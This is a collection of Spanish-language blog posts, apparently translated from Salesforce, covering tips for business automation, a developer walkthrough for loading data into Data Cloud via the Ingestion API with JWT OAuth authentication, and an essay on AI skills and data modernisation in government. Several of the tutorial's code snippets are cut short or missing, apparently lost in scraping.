La automatización empresarial conduce a clientes leales , empleados más felices, mejor eficiencia y ahorro de costos. ¿Y qué mejor manera de trazar un camino hacia la automatización empresarial que aprender de aquellos que ya lo han hecho? ¿No está seguro de por dónde empezar con la automatización? Esto ayudará .

En un informe para Salesforce , IDC entrevistó a más de 1600 líderes empresariales y de TI, en varias industrias en Asia, Europa, América del Norte y América del Sur, sobre cómo han tenido éxito con la automatización en sus empresas. A partir de esta investigación de IDC, aquí hay cinco consejos que puede usar para ayudar a incorporar la automatización en su propia práctica.

Acelere la automatización como los profesionales

Escuche a más de 1600 líderes empresariales y de TI de todo el mundo sobre las tendencias de automatización y lo que pueden hacer por su empresa.

Tabla de contenido

Sugerencia 1: Genera impulso en un área y luego expande a toda la empresa
Consejo 2: Cree un centro de automatización de excelencia
Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados
Consejo 4: utilice un enfoque ágil para la automatización empresarial
Sugerencia 5: use código bajo para acelerar el tiempo de comercialización

Sugerencia 1: Genera impulso en un área y luego expande a toda la empresa

Los mejores procesos candidatos tienen pasos repetitivos, un alto volumen de tareas y datos de múltiples sistemas. Elegir un proceso maduro que haya sido probado y ajustado con el tiempo es su mejor apuesta. Si un proceso cambia con frecuencia o implica un análisis cualitativo, probablemente no sea un buen candidato para la automatización. Estos son los pasos para ayudarlo a comenzar.

1. Investiga

Para empezar, deberá determinar:

  • Qué proceso quieres transformar
  • Cuánto se tarda
  • Personas y departamentos involucrados
  • Sistemas y datos que posibilitan el proceso

2. Cuantificar los costos

Sume los costos del proceso que desea automatizar en todos los departamentos involucrados o afectados. Algunas cosas para pensar en este paso:

  • ¿Cuánto más le cuestan las ineficiencias en tiempo extra del personal?
  • ¿Está pagando por envíos acelerados?
  • ¿Está contabilizando las horas extra de los contratistas?
  • ¿Existen costes negativos en la experiencia del cliente?

3. Definir el estado deseado

Para definir su estado deseado, deberá ingresar a los detalles de su proceso automatizado. Aquí hay algunas preguntas para hacer:

  • ¿Cómo será su nuevo proceso?
  • ¿Quién debería estar involucrado?
  • ¿Cuánto tiempo debe tomar el proceso automatizado?

Recuerde incorporar los comentarios de los clientes en este paso.

4. Elige las herramientas adecuadas

Al elegir herramientas de automatización empresarial, es importante seleccionar proveedores con una reputación estelar en procesos comerciales y automatización de flujos de trabajo, que también pueden actuar como sus asesores comerciales de confianza. Algunas preguntas para empezar a rodar:

  • ¿Qué dicen los clientes (o clientes descontentos) sobre las herramientas?
  • ¿Tiene las características que su equipo necesita para tener éxito?
  • ¿Ofrece incorporación y atención al cliente durante toda la vida útil del servicio?

SUGERENCIA PROFESIONAL: asegúrese de que la herramienta integre sus datos existentes y automatice los procesos con clics en lugar de una codificación extensa.

5. Probar, implementar, evaluar

Ahora que ha seleccionado una herramienta y automatizado su proceso, está listo para comenzar. Por supuesto, deberá probar su nuevo proceso antes de implementarlo. Así es como descubrirá si necesita refinarlo o modificarlo.

Finalmente, haga un balance de las mejoras en las medidas clave. Considere estas preguntas:

  • ¿Cuánto tardan los usuarios en completar los flujos de trabajo automatizados?
  • ¿La experiencia del usuario o del cliente está a la altura de sus expectativas?
  • ¿Sigue siendo el costo un problema?

Consejo 2: Cree un centro de automatización de excelencia

Un centro de excelencia de automatización (COE) puede marcar la diferencia en su viaje hacia la transformación digital . El objetivo del COE es supervisar el desarrollo y el lanzamiento de sus esfuerzos de automatización . Invite a personas clave de TI y del negocio para ayudar a tomar las mejores decisiones para el futuro.

Así es como puede configurar su COE de automatización para el éxito:

  1. Elige el equipo adecuado. Seleccione a las partes interesadas que adopten el cambio y estén listas para defender las mejoras del proceso. Asegúrese de incluir un director de proyecto y al menos un patrocinador ejecutivo.
  2. Desarrollar un marco de automatización. Para optimizar su inversión en automatización, el COE debe establecer un marco para personas, procesos, sistemas e infraestructura.
  3. Defina una hoja de ruta de automatización. La automatización empresarial no es un evento singular. Cree una hoja de ruta de automatización, un plan de alto nivel que describa los pasos necesarios para implementar pruebas automatizadas, y obtenga la aprobación de las partes interesadas clave.
  4. Ejecutar flujos de trabajo de automatización . Esta es la parte táctica del trabajo del COE. Identifique los puntos débiles, priorícelos y supervise la automatización de procesos.
  5. Mide el éxito. Establezca indicadores clave de rendimiento (KPI) para medir el impacto en la experiencia de los empleados y los clientes, la eficiencia operativa y la rentabilidad.

Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados

Aunque los recursos de TI de calidad son difíciles de encontrar, la acumulación de proyectos sigue aumentando. Recientemente descubrimos que a los departamentos de TI se les pide que entreguen un 41 % más en 2023 que en 2022.

La automatización de procesos de TI repetitivos alivia al personal de TI sobrecargado de trabajo y lo libera para expandir sus esfuerzos en toda la empresa.

Aquí hay algunos procesos con los que la automatización empresarial puede ayudar, para diferentes equipos:

  • Operaciones de TI : monitoreo de sistemas, seguridad de red, implementación de infraestructura
  • Servicios de TI : soporte al usuario final, aprovisionamiento de software, soporte de software
  • Gestión de activos : aprovisionamiento de activos, desmantelamiento, auditoría, informes
  • Gestión de datos : copia de seguridad y redundancia de datos, limpieza de datos

¿Quién debe participar de TI? Esto es lo que dijeron los responsables de la toma de decisiones sobre automatización:

  • 72% dijo que los desarrolladores de TI
  • 65% dijo operaciones de TI
  • 49% dijo administradores de aplicaciones
  • 42% dijo integradores de sistemas

La TI juega un papel fundamental para asegurarse de que se implementen la estrategia y la visión del negocio. Trabajando en estrecha colaboración con TI, pasamos de 6 a 12 meses de nuestro tiempo de comercialización con nuestros sistemas a solo días con una nueva experiencia de automatización.

Director de la división de gestión patrimonial,
servicios financieros

Automatización: tendencias, desafíos y mejores prácticas , IDC

Consejo 4: utilice un enfoque ágil para la automatización empresarial

El enfoque tradicional de “cascada”, en el que el análisis, la especificación, el diseño y las pruebas se realizan de forma secuencial, no funciona bien para la automatización empresarial. Con el enfoque en cascada, es posible que se encuentre cerca de la implementación cuando surja un problema grave, como un diseño que no se puede escalar.

La metodología ágil enfatiza el trabajo en equipo multifuncional y las pruebas continuas. Y aunque la mayoría de los desarrolladores de software la usan, la metodología ágil no es solo para desarrolladores. Su ciclo continuo de planificación, ejecución, evaluación y mejora se puede aplicar a la automatización de procesos comerciales. Una de sus mayores ventajas es que reúne equipos multifuncionales que planifican, prueban, implementan y rediseñan procesos automatizados en ciclos de liberación rápida.

Código bajo, mucho tiempo de comercialización

Elija una plataforma de código bajo que funcione para usted. Nuestra guía lo desglosa todo y describe claramente lo que necesita para comenzar a innovar hoy.

Sugerencia 5: use código bajo para acelerar el tiempo de comercialización

¿A quién no le gusta una integración empresarial y de TI más estrecha? Sin embargo, solo el 56 % de las organizaciones utilizan soluciones de código bajo , un enfoque de desarrollo que requiere poca o ninguna codificación para crear aplicaciones y procesos, para potenciar la automatización.

El desarrollo de software tradicional es largo y costoso. Con una plataforma de desarrollo de aplicaciones de bajo código ( LCAP ), los usuarios empresariales y de TI pueden desarrollar aplicaciones y flujos de trabajo automatizados a través de una interfaz gráfica de usuario ( GUI ) amigable. Esto puede marcar la diferencia cuando el personal de TI está sujeto a presiones o restricciones.

Hay una razón más para optar por el código bajo. Los esfuerzos de automatización empresarial abarcan negocios y TI. Usando código bajo, los usuarios comerciales pueden trabajar en estrecha colaboración con TI para desarrollar modelos de datos y lógica de procesos con solo hacer clic.

Primeros pasos con la automatización empresarial

La automatización empresarial no tiene por qué ser complicada. Con los consejos que ha aprendido, puede comenzar a implementar flujos de trabajo de automatización hoy mismo . Al desarrollar un área, crear un COE, automatizar para sus equipos de TI y usar un enfoque ágil y código bajo, tiene un comienzo saludable para un proceso de automatización empresarial exitoso. Ahora ve a automatizar.

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Cargue datos mediante programación con la API de ingesta ☁️

Cargue datos mediante programación con la API de ingesta ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

…

Cargue datos mediante programación con la API de ingesta | Blog de desarrolladores de Salesforce

Salesforce Data Cloud ofrece varios conectores predefinidos para la importación de datos. Estos le permiten conectar otra organización de Salesforce, una instancia de Marketing Cloud, almacenamientos de datos como Amazon S3 o cualquier otra fuente admitida por MuleSoft Salesforce Data Cloud Connector . Para conectarse a un sistema de terceros, puede utilizar la API de ingesta .

La API de ingesta es una interfaz RESTful que facilita la carga de datos mediante programación en Data Cloud. Admite patrones de interacción masiva y de transmisión. El patrón de transmisión usa JSON como su formato, cargando datos en micro lotes a través de la API REST. El patrón masivo, por otro lado, emplea el formato CSV y carga datos usando trabajos.

En esta publicación de blog, analizaremos cómo configurar el conector de la API de ingesta y comenzar a cargar datos mediante programación utilizando los patrones Streaming y Bulk.

Cuándo usar la ingestión Streaming vs Bulk

Ingestión de transmisión Ingestión a granel
Al actualizar pequeños microlotes de registros casi en tiempo real Al mover grandes volúmenes de datos en un programa diario, semanal o mensual
Cuando se utilizan sistemas de origen de datos que se basan en arquitecturas de transmisión modernas Al usar sistemas heredados, donde solo puede exportar datos durante las horas de menor actividad
Al crear eventos de captura de datos modificados Al usar una nueva organización de Data Cloud que desea rellenar con 30, 60 o más de 90 días de datos
Al consumir datos de webhooks

Para configurar la API de ingesta, deberá seguir cuatro pasos de requisitos previos:

  • Crear un conector de API de ingesta
  • Crear e implementar un flujo de datos
  • Crear una aplicación conectada
  • Solicitar un token de acceso a la nube de datos

Veamos el proceso de creación y configuración de un conector de ingesta para comenzar a cargar datos en Data Cloud.

Creación de un conector de API de ingesta

Supongamos que tiene acceso a Data Cloud. Para conectar una nueva fuente de API de ingesta mediante el conector de API de ingesta, vaya a Configuración de nube de datos y seleccione API de ingesta .

Aquí encontrará todos los conectores disponibles en su organización. Para crear uno nuevo, haga clic en Conectar y proporcione un nombre. Para nuestra aplicación de muestra, trabajaremos con una empresa de energía solar ficticia. Estamos interesados en recibir eventos de métricas relacionadas con el rendimiento energético de sus paneles solares.

Una vez que se haya creado el conector, necesitaremos decirle a Data Cloud qué tipo de datos estamos esperando. Para esto, necesitaremos cargar un archivo de esquema utilizando la especificación OpenAPI. Este archivo de esquema tiene requisitos específicos, así que asegúrese de consultar la documentación para obtener más información.

A continuación se muestra un ejemplo del archivo de esquema que cargaremos, que representa un solar_panel_event . Los campos clave a tener en cuenta incluyen event_id , que será único para cada evento y luego se asignará en Data Cloud como clave principal. Otro es customer_id , que nos será útil para mapear el evento con un cliente de nuestra organización. Finalmente, date_time representa la hora del evento.

panel_solar_event.yaml

Una vez que carguemos el esquema, podremos obtener una vista previa de sus campos y tipos de datos, y luego guardarlo en nuestro conector.

Ahora que nuestro conector tiene un esquema, podemos decir que está creado. Sin embargo, aún no está listo para comenzar a recibir datos. Necesitamos crear un flujo de datos para este propósito.

Nota: Dado que los esquemas pueden evolucionar con el tiempo, también puede usar la interfaz del conector de la API de ingesta para actualizar el esquema y agregar nuevos campos a su objeto de datos según sea necesario.

Creación e implementación de un flujo de datos

Ya tenemos listo nuestro conector API de ingesta. Ahora es el momento de establecer una conexión para comenzar a importar datos. Para eso, necesitamos crear un flujo de datos . Una vez que el flujo de datos está activo, podemos comenzar a ingerir datos en Data Cloud y almacenarlos como un objeto de Data Lake.

Para crear un nuevo flujo de datos, vaya a su pestaña en la aplicación Data Cloud, haga clic en Nuevo , seleccione Ingestion API y luego haga clic en Siguiente .

Nota: La opción API de ingesta está deshabilitada si no tiene ninguna fuente de ingesta conectada.

A continuación, verá los diferentes objetos que están asociados con su esquema. En nuestro caso, seleccione el objeto solar_panel_event y haga clic en Siguiente .

Al crear un flujo de datos, deberá seleccionar una categoría o tipo de datos en ese flujo de datos. Hay tres categorías: Compromiso , Perfil y Otro .

Compromiso Un conjunto de datos que representa un compromiso basado en series de tiempo, como un evento, interacción con el cliente, interacción web, etc.

Cuando se selecciona, el menú desplegable Campo de hora del evento aparece en la interfaz de usuario.
Perfil Un conjunto de datos que representa:

– Una lista de consumidores con identificadores, como identificaciones de consumidores, direcciones de correo electrónico o números de teléfono

– Una lista de empresas o cuentas con ID de cuenta

– Una lista de empleados o cualquier otra población por la que desee segmentar o utilizar como población inicial del segmento
Otro Un conjunto de datos que no es un compromiso o un perfil, como información de productos o tiendas.

Para nuestro ejemplo, dado que estamos planeando recibir eventos, seleccionaremos Compromiso . Mapearemos el event_id como la clave principal y la date_time como el campo de hora del evento.

Ahora que nuestros datos están configurados, es hora de implementarlos. Después de revisar los flujos de datos que se van a crear, hagamos clic en Implementar para activarlos.

Ahora, echemos un vistazo a la página de detalles del flujo de datos. Aquí podemos ver el objeto Data Lake que se ha creado en Data Cloud. Puede identificar un objeto de Data Lake por su sufijo __dll . Desde esta misma interfaz, puede comenzar a asignar sus datos a los objetos de su organización para crear objetos de modelo de datos (parte del proceso de armonización de Data Cloud). Sin embargo, no cubriremos ese tema en esta publicación de blog, pero tenemos un excelente video con Danielle Larregui que le muestra cómo hacerlo.

Nuestro conector API de ingesta está listo para comenzar a recibir datos de sistemas de terceros. Para confirmar, regresemos a la interfaz de configuración de la API de ingesta, donde puede ver que el estado del conector es En uso .

Creación de una aplicación conectada

La API de ingesta admite todos los flujos de OAuth 2.0 admitidos por otras API REST de Salesforce. Para cargar datos mediante la API de ingesta, su aplicación conectada requiere los siguientes ámbitos:

Ámbitos de OAuth requeridos

cdp_ingest_api Acceda y administre sus datos de API de ingesta de nube de datos
API Accede y administra tus datos
refresco_token, acceso_sin conexión Realizar solicitudes en su nombre en cualquier momento

Además, nuestra aplicación conectada requerirá un certificado digital. Para crear uno, puede ejecutar el siguiente comando usando el comando openssl :

Este comando creará dos archivos, salesforce.key , que es la clave privada, y salesforce.crt , que es la clave pública.

Nota : si no tiene instalado el comando openssl , puede instalarlo desde el sitio web de OpenSSL .

Para saber cómo crear una aplicación conectada, consulte la documentación oficial.

Solicitud de un token de acceso a la nube de datos

Para este ejemplo, usaremos el flujo de soporte JWT de OAuth 2.0 . Primero, necesitaremos crear un JWT (JSON Web Token) para solicitar un token de acceso.

Para crear un JWT, configurará el encabezado para usar el algoritmo RSA256 .

Encabezado JWT

Luego, configure las siguientes notificaciones, teniendo en cuenta algunas notificaciones importantes:

  • iss: la clave de consumidor de OAuth/ID de cliente de su aplicación conectada
  • sub: el nombre de usuario de su organización de Data Cloud
  • exp: el tiempo de vencimiento del token, expresado como una marca de tiempo de época

reclamos JWT

Nota : La época de Unix (o la hora de Unix o la hora POSIX o la marca de tiempo de Unix) es la cantidad de segundos que han transcurrido desde el 1 de enero de 1970 (medianoche UTC/GMT).

A continuación, deberá utilizar el algoritmo JWT para obtener el token completo y verificado.

Pero seamos honestos, no queremos crear un JWT manualmente. Para esto, utilizaremos el sitio web JWT.io para simplificar el proceso. Asegúrese de que el mensaje Firma verificada aparezca a continuación, lo que indica que nuestro JWT es válido.

O puede crearlo programáticamente usando el lenguaje de programación de su elección. Más adelante en este artículo, compartiré un práctico script de Node.js para generar el token de acceso a la nube de datos.

Antes de que podamos autenticarnos usando el JWT que generamos, debemos aprobar este consumidor. Puede hacerlo abriendo la siguiente URL en su navegador.

<dx-code-block title language code-block="https://login.salesforce.com/services/oauth2/authorize?response_type=token&client_id=&redirect_uri=»>

Y luego, inicie sesión y permita el acceso:

Ahora que hemos aprobado nuestro JWT, necesitamos autenticarnos. Este es un proceso de dos pasos. Primero, necesitamos obtener un token de acceso usando el JWT. Para hacer esto, realicemos una solicitud POST HTTP con la siguiente información.

<dx-code-block title language code-block="POST https://login.salesforce.com/services/oauth2/token
Content-Type : x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
&assertion=»>

Nota: asegúrese de reemplazar <JWT> con el token que creamos anteriormente.

Esta solicitud nos dará un token de acceso central y la URL de la instancia de Data Cloud, utilizando nuestra aplicación conectada. Como se muestra en el alcance , se nos otorgan los alcances cdp_ingest_api y api .

A continuación, debemos cambiar el token de acceso principal por un token de nube de datos. Para hacer eso, realicemos la siguiente solicitud POST.

<dx-code-block title language code-block="POST /services/a360/token Content-Type : x-www-form-urlencoded grant_type=urn:salesforce:grant-type:external:cdp &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:access_token»>

Ahora, estamos autenticados. El token de acceso a la nube de datos resultante es lo que usaremos para realizar solicitudes a la API de ingesta.

Para simplificar el proceso, he creado un script Node.js. Crea el JWT y realiza la autenticación en dos pasos. Para usarlo, necesitará la clave privada que creó anteriormente, así como un archivo de configuración similar al siguiente.

config.js

Además, instale la dependencia jsonwebtoken desde npm ejecutando:

credenciales.js

console.log(auth)) .catch((err) => console.error(err)); «>

El método generateAccessToken devolverá el objeto de autenticación de Data Cloud, incluido el access_token y la instance_url necesarios para comenzar a ingerir datos en Data Cloud.

Ingesta de datos

Tenemos toda la información necesaria para comenzar a ingerir datos en la nube de datos. Esto se puede lograr utilizando los patrones Streaming o Bulk.

Transmisión

Para comenzar a transmitir datos en el conector de Ingestión de nube de datos, primero obtenga el nombre del conector y el nombre del objeto de la configuración del conector de la API de Ingestión. Para hacer esto, puede realizar una solicitud POST como la siguiente.

<dx-code-block title language code-block="POST https:///api/v1/ingest/sources/Solar_Panel_Events/solar_panel_event
Authorization: Bearer
Content-Type: application/json
{ "data": [ {"event_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479","customer_id": "003R00000123456789","battery": 75.2,"dc_current": 9.8,"dc_voltage": 35.6,"mpp_energy": 120.5,"ac_voltage": 220.1,"ac_current": 5.3,"date_time": "2023-07-07T10:15:30.05Z"} ] }»>

Nota : asegúrese de reemplazar <token de acceso a la nube de datos> y <url de instancia> con los valores respectivos que obtuvo del proceso de autenticación.

Si todo va bien, recibirás la siguiente respuesta:

Esto indica que nuestros datos han sido aceptados con éxito.

Nota : también puede validar los datos con el esquema antes de enviarlos agregando /actions/test al punto final de la API.

A granel

La ingestión masiva implica varios pasos, lo que agrega un nivel de complejidad al proceso:

  • Crear un trabajo: este paso implica crear un trabajo para especificar el tipo de objeto de los datos que se procesan y la operación que se realizará, que puede ser upsert o delete.
  • Cargar los datos en CSV: Después de crear el trabajo, el siguiente paso es cargar los datos en formato CSV. El archivo CSV debe contener los datos que se procesarán, con cada fila representando un registro y las columnas que contienen los valores de campo.
  • Indicar la preparación de los datos: una vez que se cargan los datos, deberá indicar que los datos están listos para ser procesados.
  • Cerrar o cancelar el trabajo: después de procesar los datos, puede cerrar el trabajo para marcarlo como completado o cancelar el trabajo si es necesario.

Para obtener más información sobre cómo usar los puntos de conexión masivos, puede consultar la documentación oficial .

Puede consultar los datos entrantes utilizando el Explorador de datos en Data Cloud. Allí, seleccionará el objeto Data Lake correspondiente al conector de ingesta que creó anteriormente.

Si desea probarlo usted mismo, siempre puede utilizar nuestra colección Postman de desarrolladores de Salesforce, que incluye las API de Salesforce Data Cloud .

Conclusión

Ahora, está listo para comenzar a cargar datos mediante programación en Data Cloud mediante la API de ingesta. Siguiendo los pasos anteriores, puede conectarse sin problemas a varias fuentes de datos e importar datos en tiempo real o en masa, y comenzar a aprovechar el poder y la magia de Salesforce Data Cloud.

Además, si prefiere aprender de un video, mi colega Aditya ha creado un video útil que explica lo que hemos cubierto en esta publicación de blog . Asegúrese de ver también los otros excelentes videos de la serie Data Cloud Decoded .

Recursos

Sobre los autores

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo @julianduque en Threads, @julian_duque en Twitter, @julianduque.co en Bluesky social o LinkedIn .

Aditya Naag Topalli es una defensora de desarrolladores líder certificada 14 veces en Salesforce. Capacita e inspira a los desarrolladores dentro y fuera del ecosistema de Salesforce a través de sus videos, seminarios web, publicaciones de blog y contribuciones de código abierto, y también habla con frecuencia en conferencias y eventos en todo el mundo. Sígalo en Twitter o LinkedIn y vea sus contribuciones en GitHub .

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Lo que los gobiernos necesitan ahora: datos y habilidades de IA

Lo que los gobiernos necesitan ahora: datos y habilidades de IA

El auge de la IA está aquí , lo que significa que es hora de ver cómo la IA en el gobierno puede hacer que las cosas funcionen mejor tanto para las organizaciones como para los electores.

Para las organizaciones gubernamentales y del sector público, hay formas claras en que la IA puede ayudarlos a ser más eficientes y servir a las personas de mejores maneras, como el procesamiento de datos, la seguridad cibernética y la planificación pública, por nombrar algunas.

Las agencias públicas tienen la oportunidad de crear conciencia sobre la importancia de la IA en el gobierno. Este auge de la IA significa que es un buen momento para que los trabajadores del gobierno adquieran nuevas habilidades y aseguren su futuro. Obtener estas habilidades de IA en demanda ayudará a los empleados a servir mejor al público, mejorando la confianza entre los sectores público y privado.

Concéntrese en su misión, no en TI

Aprenda de un ex ejecutivo del gobierno federal cómo una mayor seguridad cibernética puede ayudar a hacer posible la transformación digital para el sector público.

Sin embargo, una de las mayores preocupaciones en torno al surgimiento de esta tecnología y las inversiones que se están realizando en ella es una crisis de habilidades de IA. Una encuesta de SAS de los tomadores de decisiones de las principales empresas estadounidenses que abarcan nueve sectores, incluido el gobierno, dice que el 63% de los encuestados cree que no tienen suficientes recursos de inteligencia artificial y aprendizaje automático de alta calidad.

Esa brecha de habilidades, junto con el enfoque de avance a toda velocidad por parte de los tomadores de decisiones en las empresas y el gobierno, está dando a los trabajadores motivos para preocuparse.

En marzo, el banco de inversión Goldman Sachs predijo que la IA eventualmente podría reemplazar 300 millones de empleos de tiempo completo en todo el mundo y afectar a casi una quinta parte del empleo, con un impacto particular en los trabajos administrativos que a menudo se consideran a prueba de automatización, como las profesiones administrativas y legales. .

Pero se crearán empleos: la pregunta es en qué porcentaje se desplazarán esos empleos compensados. El Informe sobre el futuro de los empleos del Foro Económico Mundial dice que casi el 75 % de las empresas encuestadas esperan adoptar la IA; el 50 % de las organizaciones cree que dará como resultado un crecimiento del empleo y el 25 % cree que creará pérdidas de empleo.

Por eso es tan importante, a medida que la IA asume una cantidad cada vez mayor de tareas de nivel inferior, que los trabajadores afectados por este cambio adquieran las habilidades para pasar a un trabajo más emprendedor. Existe una gran oportunidad para que su organización adopte la IA en el gobierno, pero primero, debe asegurarse de que sus empleados tengan la capacitación adecuada y que tenga los datos fundamentales seguros con los que trabajará la IA.

La modernización de datos es el primer paso para configurar su organización para un futuro optimizado por IA. También es un área en la que los trabajadores pueden mejorar y hacer la transición a medida que la IA aleja el flujo de trabajo basado en humanos de las tareas de nivel inferior.

Cómo la brecha de habilidades crea una oportunidad para la IA en trabajos gubernamentales

AI tiene el poder de mejorar enormemente las operaciones gubernamentales para satisfacer de manera más efectiva las necesidades de sus ciudadanos. Los casos de uso son prácticamente infinitos , desde la gestión del tráfico hasta la prestación de atención médica y el procesamiento de interminables formularios y papeleo que obstruyen notoriamente a casi todas las agencias gubernamentales.

Los departamentos de salud están utilizando IA en todo, desde acelerar los ensayos de medicamentos hasta detectar y prevenir la próxima pandemia .

Las agencias de seguridad pública están implementando IA para apoyar al personal, optimizar las operaciones y analizar grandes conjuntos de datos.

La lista continúa: identificar las deficiencias de infraestructura y las soluciones más efectivas y eficientes; formas más efectivas de implementar redes de seguridad y al mismo tiempo detectar el fraude; opciones de autoservicio para consultas de residentes; simplificar los sistemas judiciales atrasados .

La amplia gama de IA en aplicaciones gubernamentales crea una necesidad gigantesca de trabajadores preparados para la tecnología digital. Pero uno de los mayores obstáculos que se interponen en el camino de las agencias públicas para adoptar completamente y adoptar rápidamente esta tecnología es la falta de inteligencia artificial y capacidades de gestión de datos dentro de su propia fuerza laboral.

Los trabajadores del gobierno a menudo carecen de las habilidades de inteligencia artificial y ciencia de datos necesarias para manejar la escala masiva de datos de los ciudadanos y construir modelos de inteligencia artificial de última generación que, en última instancia, beneficiarán al público.

¿Cómo nos aseguramos de manera efectiva de que los trabajadores no se pierdan o, peor aún, se queden atrás con tanto cambio a nuestro alrededor tan rápidamente? ¿Y cómo dotamos a los trabajadores de las herramientas adecuadas que garanticen la equidad, la accesibilidad y la seguridad? Esto es especialmente importante para las organizaciones del sector público que tienen la responsabilidad adicional de mantener algunos de los estándares de seguridad más estrictos del mundo.

La educación y capacitación adecuadas sobre el uso responsable de la IA es el siguiente paso para las organizaciones , ayudando al sector público a servir mejor a su gente.

Los programas de educación para la IA en el gobierno están teniendo éxito en todo el mundo

Ahora que conoce la importancia de la educación en IA, es hora de ver cómo otras organizaciones de todo el mundo están manejando esta oportunidad.

Finlandia lanzó Elementos de IA en 2018 , cursos en línea gratuitos diseñados para presentar los conceptos básicos de IA a personas no especializadas en el público. Los cursos incluyen recursos de autoaprendizaje, contenido interactivo y trabajo basado en tareas que enseña conceptos, métodos de uso y limitaciones de la tecnología. El gobierno finlandés se comprometió a educar al menos al 1 por ciento de su población, un objetivo que se cumplió y superó rápidamente. Los cursos ahora están disponibles en más de 20 idiomas y 1 millón de personas en todo el mundo lo han completado.

De manera similar, AI Singapur lanzó el programa AI for Everyone , una iniciativa nacional administrada por el gobierno para equipar a las personas y organizaciones con las habilidades para usar la IA y el aprendizaje automático para el bien social. Ofrece cursos y talleres de IA, y financiación y apoyo para proyectos de IA que abordan el cambio social.

En los EE. UU., la legislación que crearía un programa de capacitación en IA para supervisores federales y funcionarios administrativos también está en proceso de aprobación en el Congreso . Su objetivo es proporcionar orientación sobre el uso de IA a los líderes federales. Esto les ayuda a garantizar que los riesgos y las recompensas del uso de la tecnología se sopesen adecuadamente frente a las misiones de la agencia y las comunidades a las que sirven.

Equipar a una fuerza laboral con habilidades de IA puede ayudar a generar confianza en el gobierno

Los empleados que poseen las habilidades adecuadas para el momento son invaluables para un gobierno que funcione. La experiencia del empleado está directamente relacionada con la experiencia del cliente, ya que descubrimos que solo el 18 % de las personas encuestadas cree que la experiencia del cliente tiene prioridad en sus interacciones con el gobierno.

Mientras tanto, también descubrimos que el 73 % de la fuerza laboral no se siente “muy equipada” con los recursos necesarios para aprender las habilidades digitales requeridas para tener éxito ahora. Sin embargo, está claro que equipar a los trabajadores del sector público con las habilidades necesarias para aprovechar la IA los empodera para brindar experiencias transformadoras al público.

Lo que significa que existe una gran oportunidad de mejorar las habilidades de los trabajadores del sector público para aprovechar las oportunidades que presenta la IA en el gobierno. Esto no solo significa seguridad para los trabajadores en un momento inquietante, sino también mejores experiencias para la población a la que sirven. En última instancia, esta es una oportunidad para generar más confianza , asegurando que el sector público esté haciendo todo lo posible para servir mejor a la población.

Los datos son la base de una IA confiable

Una de las principales formas en que puede preparar a sus empleados para la IA es mediante la modernización y unificación de sus datos. Es importante tener en cuenta que las herramientas de IA son tan efectivas como los datos de los que extraen y las personas que guían la tecnología.

Cuando sus datos están conectados y unificados, puede desbloquear el verdadero potencial de la IA y la automatización, impulsado por conocimientos en tiempo real. Esto lo ayudará a crear experiencias que no solo promuevan la misión de su organización, sino que generen confianza con las personas a las que sirve.

El ascenso del Director de Datos es un indicador de la importancia de esta función y los conjuntos de habilidades especializadas que diferenciarán a las organizaciones exitosas. Estos roles no solo requieren la gestión de datos, sino también las tareas críticas de garantizar el uso ético y equitativo de las tecnologías basadas en datos.

La confianza es una parte integral de la IA en el gobierno, lo que significa que la integridad y la seguridad de los datos son fundamentales. Eso crea una oportunidad para que las organizaciones del sector público establezcan componentes fundamentales (análisis y estandarización de grandes conjuntos de datos, implementación de medidas de seguridad mejoradas y modelado de datos innovador) para configurarlos para un futuro centrado en la IA.

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